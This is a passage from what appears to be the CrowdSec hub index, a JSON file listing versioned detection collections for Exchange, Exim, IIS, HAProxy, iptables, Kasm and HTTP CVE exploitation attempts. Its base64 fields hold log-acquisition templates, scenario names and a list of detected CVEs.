IGV4Y2hhbmdlLWltYXAKLS0tCnVzZV90aW1lX21hY2hpbmU6IHRydWUgI1Byb2Nlc3MgbG9ncyBhcyBpZiB3ZSB3ZXJlIHJlcGxheWluZyB0aGVtIHRvIGdldCB0aGUgdGltZXN0YW1wIGZyb20gdGhlIApmaWxlbmFtZXM6CiAgLSBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE1XExvZ2dpbmdcUG9wM1wqLkxPRwpsYWJlbHM6CiAgdHlwZTogZXhjaGFuZ2UtcG9wCi0tLQojT1dBIGZhaWxlZCBhdHRlbXB0cyBhcmUgbG9nZ2VkIGluIHRoZSBzYW1lIHdheSBhcyBSRFAgZmFpbGVkIGF1dGggCnNvdXJjZTogd2luZXZlbnRsb2cKZXZlbnRfY2hhbm5lbDogU2VjdXJpdHkKZXZlbnRfaWRzOgogLSA0NjI1CmV2ZW50X2xldmVsOiBpbmZvcm1hdGlvbgpsYWJlbHM6CiB0eXBlOiBldmVudGxvZwpgYGA=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvZXhjaGFuZ2Utc210cC1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L2V4Y2hhbmdlLWltYXAtbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9leGNoYW5nZS1wb3AtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2V4Y2hhbmdlLWJmCiAgLSBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtYmYKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L3dpbmRvd3MKICAtIGNyb3dkc2VjdXJpdHkvaWlzCmRlc2NyaXB0aW9uOiAiRXhjaGFuZ2Ugc3VwcG9ydCA6IEJydXRlZm9yY2UgZGV0ZWN0aW9uIGZvciBPV0EsU01UUCxJTUFQIGFuZCBQT1AiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gd2luZG93cwogIC0gaWlzCiAgLSBleGNoYW5nZQogIC0gYnJ1dGVmb3JjZQoK", "description": "Exchange support : Bruteforce detection for OWA,SMTP,IMAP and POP", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/exchange-smtp-logs", "crowdsecurity/exchange-imap-logs", "crowdsecurity/exchange-pop-logs" ], "scenarios": [ "crowdsecurity/exchange-bf", "crowdsecurity/windows-bf" ], "collections": [ "crowdsecurity/windows", "crowdsecurity/iis" ] }, "crowdsecurity/exim": { "path": "collections/crowdsecurity/exim.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f4a5ec5e7a5d52b4686e3c58481e098a231adc603e559bb3cb9aab888545eaa4", "deprecated": false } }, "long_description": "IyMgRXhpbSBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIEV4aW0gbWFpbCBzZXJ2ZXIKICogZXhpbSBsb2cgcGFyc2VyCiAqIGV4aW0gc2NlbmFyaW8gZm9yIGJydXRlZm9yY2UgYW5kIHNwYW0gYXR0ZW1wdAoKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9leGltX21haW5sb2cKbGFiZWxzOgogIHR5cGU6IGV4aW0KYGBgCgoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvZXhpbS1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvZXhpbS1iZgogIC0gY3Jvd2RzZWN1cml0eS9leGltLXNwYW0KZGVzY3JpcHRpb246ICJleGltIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlZm9yY2Uvc3BhbSBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHNwYW0KICAtIGJydXRlZm9yY2UK", "description": "exim support : parser and bruteforce/spam detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/exim-logs" ], "scenarios": [ "crowdsecurity/exim-bf", "crowdsecurity/exim-spam" ] }, "crowdsecurity/fastly": { "path": "collections/crowdsecurity/fastly.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6bac9453d3b274fc310b558fe41672ff09ac910463e3bea982b4f14cb3a7bf61", "deprecated": false } }, "long_description": "IyMgRmFzdGx5IGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiB0byBkZWZlbmQgZmFzdGx5IGFnYWluc3QgY29tbW9uIGh0dHAgYXR0YWNrcyA6CiAtIGZhc3RseSBkZWZhdWx0IGxvZyBmb3JtYXQgcGFyc2VyCiAtIGJhc2UgaHR0cCBzY2VuYXJpb3MgKGNyYXdsLCA0MDQgc2NhbiwgYmYgZXRjLikKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9mYXN0bHkvKi5sb2cKbGFiZWxzOgogIHR5cGU6IHN5c2xvZwogIGV4dGVybmFsX2Zvcm1hdDogZmFzdGx5CmBgYAoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvZmFzdGx5LWxvZ3MKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L2Jhc2UtaHR0cC1zY2VuYXJpb3MKZGVzY3JpcHRpb246ICJmYXN0bHkgc3VwcG9ydCA6IHBhcnNlciBhbmQgZ2VuZXJpYyBodHRwIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBmYXN0bHkKICAtIGh0dHAKICAtIGNyYXdsCiAgLSBzY2Fu", "description": "fastly support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/fastly-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/freebsd": { "path": "collections/crowdsecurity/freebsd.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f2969de2e7c76a12e9c9f6a7797a62f184df6a2c188db2ac6b1e0914e342b59f", "deprecated": false } }, "long_description": "Kipjb3JlIHBhY2thZ2UgZm9yIGZyZWVic2QqKgoKY29udGFpbnMgc3VwcG9ydCBmb3Igc3lzbG9nLCBkbyBub3QgcmVtb3ZlLgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGNyb3dkc2VjdXJpdHkvZ2VvaXAtZW5yaWNoCiAgLSBjcm93ZHNlY3VyaXR5L2RhdGVwYXJzZS1lbnJpY2gKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L3NzaGQKZGVzY3JpcHRpb246ICJjb3JlIGZyZWVic2Qgc3VwcG9ydCA6IHN5c2xvZytnZW9pcCtzc2giCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gZnJlZWJzZCAKCg==", "description": "core freebsd support : syslog+geoip+ssh", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "crowdsecurity/geoip-enrich", "crowdsecurity/dateparse-enrich" ], "collections": [ "crowdsecurity/sshd" ] }, "crowdsecurity/haproxy": { "path": "collections/crowdsecurity/haproxy.yaml", "version": "0.1", "versions": { "0.1": { "digest": "41d5394188f55956e017cb3f851e93411dbf078b0176a0968dd7760b1ad5b2e5", "deprecated": false } }, "long_description": "IyMgSGFwcm94eSBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gZGVmZW5kIGhhcHJveHkgaHR0cCBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKIC0gaGFwcm94eSBodHRwIHBhcnNlcgogLSBiYXNlIGh0dHAgc2NlbmFyaW9zIChjcmF3bCwgNDA0IHNjYW4sIGJmIGV0Yy4pCgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL2hhcHJveHkvKi5sb2cKbGFiZWxzOgogIHR5cGU6IGhhcHJveHkKYGBgCgoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvaGFwcm94eS1sb2dzCmNvbGxlY3Rpb25zOgogIC0gY3Jvd2RzZWN1cml0eS9iYXNlLWh0dHAtc2NlbmFyaW9zCmRlc2NyaXB0aW9uOiAiaGFwcm94eSBzdXBwb3J0IDogcGFyc2VyIGFuZCBnZW5lcmljIGh0dHAgc2NlbmFyaW9zIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBoYXByb3h5CiAgLSBjcmF3bAogIC0gc2NhbgoK", "description": "haproxy support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/haproxy-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/home-assistant": { "path": "collections/crowdsecurity/home-assistant.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4af5665511aa35371d1abf2007505863c4e166a1637a51a47c5f7db49f2bdf76", "deprecated": false } }, "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvaG9tZS1hc3Npc3RhbnQtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2hvbWUtYXNzaXN0YW50LWJmCmRlc2NyaXB0aW9uOiAiSG9tZSBhc3Npc3RhbnQgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGhvbWUtYXNzaXN0YW50CiAgLSBicnV0ZWZvcmNlCg==", "description": "Home assistant support : logs and brute-force scenario", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/home-assistant-logs" ], "scenarios": [ "crowdsecurity/home-assistant-bf" ] }, "crowdsecurity/http-cve": { "path": "collections/crowdsecurity/http-cve.yaml", "version": "1.9", "versions": { "0.1": { "digest": "30748e051a470c1bc91506ae63e8784cd054564f90ccc23eb655823fc30e3019", "deprecated": false }, "0.2": { "digest": "bc244c864674e59cd36ec4781bb85b5f94f77562a28a65e6bb64da789cf97379", "deprecated": false }, "0.3": { "digest": "8a33f5787f19100add139f53ae98978a2c265badaf99b09365a47d686baeb5b2", "deprecated": false }, "0.4": { "digest": "f5a38fc37ff6a5aa80a1411fe75ba27d9691ebf3da96b6d169d2fecc052fb528", "deprecated": false }, "0.5": { "digest": "f9be2b19b2c12d4b0d4fc10de95b3138c4ae19ccaa04975d1e6a242e1fc2abf4", "deprecated": false }, "0.6": { "digest": "d385131b7c0763a6fe71d6544599e69d79e6ff97c92b2b253470b9b1632bb71a", "deprecated": false }, "0.7": { "digest": "33d997a205be7dad55f5fadb1b56da3cd7a22b6333037af83132a948a6cc063f", "deprecated": false }, "0.8": { "digest": "9a6f6b6afb19f4ecafa4cb195d96c3380d9f2b5621424a1ee296ae34dc29f814", "deprecated": false }, "0.9": { "digest": "ff8e1e8b942d229cbe6de261b864fef4052b3c83018fe389b5441bd62c824d38", "deprecated": false }, "1.0": { "digest": "c10453ceeb22dcdf11fa386fe072c9aa6ede4a76e7cc9940caa429d8ec8814d5", "deprecated": false }, "1.1": { "digest": "d211c127d1295986dd11c1502295e538943baafcb04bab094b792f85531376f9", "deprecated": false }, "1.2": { "digest": "e1a9c0a6a058d043717ce66c649f632161d9ea788a77c9ce92ad50ab231c920c", "deprecated": false }, "1.3": { "digest": "537a00505f86acb335d66130e9e3d1cc867d99a26fe7d3a66904eb3ec57c3f43", "deprecated": false }, "1.4": { "digest": "e07c151e8686c9cf5ba5f5cb1513c8edeb1e4d6ee6a3672a835a0441c3cfcff7", "deprecated": false }, "1.5": { "digest": "97e3a10706edfa4ccb637673705d133e24ec8601f7199c7fd5884bd673778506", "deprecated": false }, "1.6": { "digest": "f38f6f62c92971e1537992406128a5438962f8bea6b9fdd9d8eacd5fd5cb6485", "deprecated": false }, "1.7": { "digest": "f7d7eb0b2c5257e689397ff696e85a56640f0819ef4695c47119927aefbf8c79", "deprecated": false }, "1.8": { "digest": "a00340eb67ac16be546794135dd64ee2ae1709989d1d31ae7633de771bcec529", "deprecated": false }, "1.9": { "digest": "74c4696ca67d82e18dd6188f8934699f0c3b10e8ccde318d9de2a6ca9c40f31c", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIG9mIGh0dHAgc3BlY2lmaWMgQ1ZFcyA6CgogLSBbQXBhY2hlIENWRS0yMDIxLTQxNzczXShodHRwczovL2N2ZS5jaXJjbC5sdS9jdmUvQ1ZFLTIwMjEtNDE3NzMpCiAtIFtBcGFjaGUgQ1ZFLTIwMjEtNDIwMTNdKGh0dHBzOi8vY3ZlLmNpcmNsLmx1L2N2ZS9DVkUtMjAyMS00MjAxMykKIC0gW0dyYWZhbmEgQ1ZFLTIwMjEtNDM3OThdKGh0dHBzOi8vY3ZlLmNpcmNsLmx1L2N2ZS9DVkUtMjAyMS00Mzc5OCkKIC0gW0ZvcnRpbmV0IENWRS0yMDE4LTEzMzc5XShodHRwczovL2N2ZS5jaXJjbC5sdS9jdmUvQ1ZFLTIwMTgtMTMzNzkpCiAtIFtQdWxzZSBTZWN1cmUgQ1ZFLTIwMTktMTE1MTBdKGh0dHBzOi8vY3ZlLmNpcmNsLmx1L2N2ZS9DVkUtMjAxOS0xMTUxMCkKIC0gW0Y1IEJJRy1JUCBDVkUtMjAyMC01OTAyXShodHRwczovL2N2ZS5jaXJjbC5sdS9jdmUvQ1ZFLTIwMjAtNTkwMikKIC0gW1RoaW5rUEhQIENWRS0yMDE4LTIwMDYyXShodHRwczovL2N2ZS5jaXJjbC5sdS9jdmUvQ1ZFLTIwMTgtMjAwNjIpCiAtIFtBcGFjaGUgTG9nNGoyIENWRS0yMDIxLTQ0MjI4XShodHRwczovL2N2ZS5jaXJjbC5sdS9jdmUvQ1ZFLTIwMjEtNDQyMjgpCiAtIFtWTXdhcmUgVk1TQS0yMDIxLTAwMjddKGh0dHBzOi8vd3d3LnZtd2FyZS5jb20vc2VjdXJpdHkvYWR2aXNvcmllcy9WTVNBLTIwMjEtMDAyNy5odG1sKQogLSBbQXRsYXNzaWFuIEppcmEgQ1ZFLTIwMjEtMjYwODZdKGh0dHBzOi8vY3ZlLmNpcmNsLmx1L2N2ZS9DVkUtMjAyMS0yNjA4NikKIC0gW1NwcmluZzRTaGVsbCBDVkUtMjAyMi0yMjk2NV0oaHR0cHM6Ly9jdmUubWl0cmUub3JnL2NnaS1iaW4vY3ZlbmFtZS5jZ2k/bmFtZT1DVkUtMjAyMi0yMjk2NSkKIC0gW1ZNd2FyZSBDVkUtMjAyMi0yMjk1NF0oaHR0cHM6Ly93d3cudm13YXJlLmNvbS9zZWN1cml0eS9hZHZpc29yaWVzL1ZNU0EtMjAyMi0wMDExLmh0bWwpCiAtIFtHTFBJIENWRS0yMDIyLTM1OTE0XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyMi0zNTkxNCkKIC0gW0ZvcnRpbmV0IENWRS0yMDIyLTQwNjg0XShodHRwczovL3d3dy5ob3Jpem9uMy5haS9mb3J0aW9zLWZvcnRpcHJveHktYW5kLWZvcnRpc3dpdGNobWFuYWdlci1hdXRoZW50aWNhdGlvbi1ieXBhc3MtdGVjaG5pY2FsLWRlZXAtZGl2ZS1jdmUtMjAyMi00MDY4NC8pCiAtIFtDb25mbHVlbmNlIENWRS0yMDIyLTI2MTM0XShodHRwczovL2N2ZS5taXRyZS5vcmcvY2dpLWJpbi9jdmVuYW1lLmNnaT9uYW1lPUNWRS0yMDIyLTI2MTM0KQogLSBbVGV4dDRTaGVsbCBDVkUtMjAyMi00Mjg4OV0oaHR0cHM6Ly9jdmUubWl0cmUub3JnL2NnaS1iaW4vY3ZlbmFtZS5jZ2k/bmFtZT1DVkUtMjAyMi00Mjg4OSkKIC0gW0dob3N0IENNUyBDVkUtMjAyMi00MTY5N10oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjItNDE2OTcpCiAtIFtDYWN0aSBDVkUtMjAyMi00NjE2OV0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjItNDYxNjkpCiAtIFtDZW50b3MgV2ViIFBhbmVsIDcgQ1ZFLTIwMjItNDQ4NzddKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDIyLTQ0ODc3KQoKCjp3YXJuaW5nOiBUaGlzIGNvbGxlY3Rpb24gaXMgX25vdF8gYSBXQUYgYW5kIHRoaXMgY29sbGVjdGlvbiBkb2VzIF9ub3RfIGFpbXMgYXQgcmVwbGFjaW5nIGEgV0FGLgoKQXMgc3VjaCwgYW4gYXR0YWNrZXIgbWlnaHQgYmUgYWJsZSB0byBieXBhc3MgdGhvc2Ugc2lnbmF0dXJlcy4KCg==", "content": "c2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9odHRwLWN2ZS0yMDIxLTQxNzczCiAgLSBjcm93ZHNlY3VyaXR5L2h0dHAtY3ZlLTIwMjEtNDIwMTMKICAtIGNyb3dkc2VjdXJpdHkvZ3JhZmFuYS1jdmUtMjAyMS00Mzc5OAogIC0gY3Jvd2RzZWN1cml0eS92bXdhcmUtdmNlbnRlci12bXNhLTIwMjEtMDAyNwogIC0gY3Jvd2RzZWN1cml0eS9mb3J0aW5ldC1jdmUtMjAxOC0xMzM3OQogIC0gY3Jvd2RzZWN1cml0eS9wdWxzZS1zZWN1cmUtc3NsdnBuLWN2ZS0yMDE5LTExNTEwCiAgLSBjcm93ZHNlY3VyaXR5L2Y1LWJpZy1pcC1jdmUtMjAyMC01OTAyCiAgLSBjcm93ZHNlY3VyaXR5L3RoaW5rcGhwLWN2ZS0yMDE4LTIwMDYyCiAgLSBjcm93ZHNlY3VyaXR5L2FwYWNoZV9sb2c0ajJfY3ZlLTIwMjEtNDQyMjgKICAtIGNyb3dkc2VjdXJpdHkvamlyYV9jdmUtMjAyMS0yNjA4NgogIC0gY3Jvd2RzZWN1cml0eS9zcHJpbmc0c2hlbGxfY3ZlLTIwMjItMjI5NjUKICAtIGNyb3dkc2VjdXJpdHkvdm13YXJlLWN2ZS0yMDIyLTIyOTU0CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTM3MDQyCiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQxMDgyCiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTM1OTE0CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQwNjg0CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTI2MTM0CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQyODg5CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQxNjk3CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQ2MTY5CiAgLSBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTQ0ODc3CmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gd2ViCiAgLSBleHBsb2l0CiAgLSBjdmUKICAtIGh0dHAK", "author": "crowdsecurity", "labels": null, "scenarios": [ "crowdsecurity/http-cve-2021-41773", "crowdsecurity/http-cve-2021-42013", "crowdsecurity/grafana-cve-2021-43798", "crowdsecurity/vmware-vcenter-vmsa-2021-0027", "crowdsecurity/fortinet-cve-2018-13379", "crowdsecurity/pulse-secure-sslvpn-cve-2019-11510", "crowdsecurity/f5-big-ip-cve-2020-5902", "crowdsecurity/thinkphp-cve-2018-20062", "crowdsecurity/apache_log4j2_cve-2021-44228", "crowdsecurity/jira_cve-2021-26086", "crowdsecurity/spring4shell_cve-2022-22965", "crowdsecurity/vmware-cve-2022-22954", "crowdsecurity/CVE-2022-37042", "crowdsecurity/CVE-2022-41082", "crowdsecurity/CVE-2022-35914", "crowdsecurity/CVE-2022-40684", "crowdsecurity/CVE-2022-26134", "crowdsecurity/CVE-2022-42889", "crowdsecurity/CVE-2022-41697", "crowdsecurity/CVE-2022-46169", "crowdsecurity/CVE-2022-44877" ] }, "crowdsecurity/iis": { "path": "collections/crowdsecurity/iis.yaml", "version": "0.1", "versions": { "0.1": { "digest": "045c579c8cbb0e1e15f76c22b6465d6113df4117e48ae018043c2c1c01cd4b42", "deprecated": false } }, "long_description": "IyMgSUlTIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiBmb3IgSUlTIDoKIC0gSVNTIHBhcnNlciAob25seSBXM0MgZm9ybWF0IGlzIHN1cHBvcnRlZCwgd2l0aCB0aGUgZGVmYXVsdCBmb3JtYXQpCiAtIGJhc2UgaHR0cCBzY2VuYXJpb3MgZm9yIGNyYXdsLCBzY2FuIGV0Yy4KCk5vdGU6CiAtIElJUyB3aWxsIGJ1ZmZlciB0aGUgbG9ncyBpbiBtZW1vcnkgYmVmb3JlIHdyaXRpbmcgdGhlbSB0byB0aGUgbG9nIGZpbGUgKG9yIHRoZSBldmVudCBsb2cpLiBUaGUgZmx1c2ggaXMgZG9uZSBldmVyeSBtaW51dGUgb3IgZXZlcnkgNjRrQiBieSBkZWZhdWx0LCB0aGlzIGNhbiBsZWFkIHRvIHNvbWUgZmFsc2UgcG9zaXRpdmVzIG9uIGxvdyB0cmFmZmljIHdlYnNpdGVzLCBhcyBjcm93ZHNlYyB3aWxsIGJlIGEgc3VyZ2Ugb2YgbG9ncyBldmVyeSBtaW51dGUuIFRoaXMgY2FuIGJlIG1pdGlnYXRlZCBieSBzZXR0aW5nIHRoZSBgdXNlX3RpbWVfbWFjaGluZWAgc2V0dGluZ3MgdG8gdHJ1ZSBpbiB0aGUgcmVsZXZhbnQgc2VjdGlvbiBvZiB5b3VyIGFjcXVpc2l0aW9uIGNvbmZpZy4KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gaWYgeW91IGxvZyB0byBhIGZpbGU6CgpgYGB5YW1sCnVzZV90aW1lX21hY2hpbmU6IHRydWUgI1Byb2Nlc3MgbG9ncyBhcyBpZiB3ZSB3ZXJlIHJlcGxheWluZyB0aGVtIHRvIGdldCB0aGUgdGltZXN0YW1wIGZyb20gdGhlIApmaWxlbmFtZXM6CiAgLSBDOlxpbmV0cHViXGxvZ3NcTG9nRmlsZXNcKlwqLmxvZwpsYWJlbHM6CiAgdHlwZTogaWlzCmBgYAoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIGlmIHlvdSBsb2cgdG8gd2luZG93cyBldmVudHM6CmBgYHlhbWwKc291cmNlOiB3aW5ldmVudGxvZwpldmVudF9jaGFubmVsOiBNaWNyb3NvZnQtSUlTLUxvZ2dpbmcvTG9ncwpldmVudF9pZHM6CiAtIDYyMDAKZXZlbnRfbGV2ZWw6IGluZm9ybWF0aW9uCmxhYmVsczoKIHR5cGU6IGlpcwpgYGAK", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvaWlzLWxvZ3MKY29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L2Jhc2UtaHR0cC1zY2VuYXJpb3MKZGVzY3JpcHRpb246ICJJSVMgc3VwcG9ydCA6IHBhcnNlciBhbmQgZ2VuZXJpYyBodHRwIHNjZW5hcmlvcyAiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gd2luZG93cwogIC0gaWlzCiAgLSBjcmF3bAogIC0gc2NhbgoK", "description": "IIS support : parser and generic http scenarios ", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/iis-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/iptables": { "path": "collections/crowdsecurity/iptables.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ba5c8e97c06b19e4c075e0285e6b60c1da3b86381c88c4bfea4b374378ced10a", "deprecated": false } }, "long_description": "IyMgSXB0YWJsZXMvTmZ0YWJsZXMgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBwb3J0c2NhbiBkZXRlY3Rpb24gdmlhIGlwdGFibGVzL25mdGFibGVzIDoKIC0gaXB0YWJsZXMvbmZ0YWJsZXMgcGFyc2VyIChsaWtlIGluIGAtaiBMT0dgKQogLSBtdWx0aSBwb3J0IHNjYW4gZGV0ZWN0aW9uCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cva2Vybi5sb2cKbGFiZWxzOgogIHR5cGU6IHN5c2xvZwpgYGAKCm5vdGVzIDoKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvaXB0YWJsZXMtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2lwdGFibGVzLXNjYW4tbXVsdGlfcG9ydHMKZGVzY3JpcHRpb246ICJpcHRhYmxlcyBzdXBwb3J0IDogbG9ncyBhbmQgcG9ydC1zY2FucyBkZXRlY3Rpb24gc2NlbmFyaW9zIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBwb3J0c2NhbgogIC0gaXB0YWJsZXMKCg==", "description": "iptables support : logs and port-scans detection scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/iptables-logs" ], "scenarios": [ "crowdsecurity/iptables-scan-multi_ports" ] }, "crowdsecurity/kasm": { "path": "collections/crowdsecurity/kasm.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4e228f3fca8480631574e00b5821384f846d1d9e636b6fa4461525a914ed790b", "deprecated": false } }, "long_description": "IyMjIEtBU00gd29ya3NwYWNlcyBwYXJzZXIKClRoaXMgY29sbGVjdGlvbiBhZGQgcGFyc2VyIHN1cHBvcnQgZm9yIGthc20ganNvbiBsb2cgb3V0cHV0LCBhbHNvIGEgYmFzZSBzY2VuYXJpbyB0byBkZXRlY3QgYnJ1dGVmb3JjZSBsb2dpbiBhdHRlbXB0cy4KCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL29wdC9rYXNtL2N1cnJlbnQvbG9nL2FwaV9zZXJ2ZXJfanNvbi5sb2cKbGFiZWxzOgogIHR5cGU6IGthc20KYGBg", "content": "cGFyc2VyczoKI2dlbmVyaWMgcG9zdC1wYXJzaW5nIG9mIGh0dHAgc3R1ZmYKICAtIGNyb3dkc2VjdXJpdHkva2FzbS1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkva2FzbS1icnV0ZWZvcmNlCmRlc2NyaXB0aW9uOiAia2FzbSB3b3Jrc3BhY2VzIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlZm9yY2Ugc2NlbmFyaW8iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0ga2FzbQogIC0gYnJ1dGVmb3JjZQo=", "description": "kasm workspaces support : parser and bruteforce scenario", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/kasm-logs" ], "scenarios": [ "crowdsecurity/kasm-bruteforce" ] }, "crowdsecurity/linux": { "path": 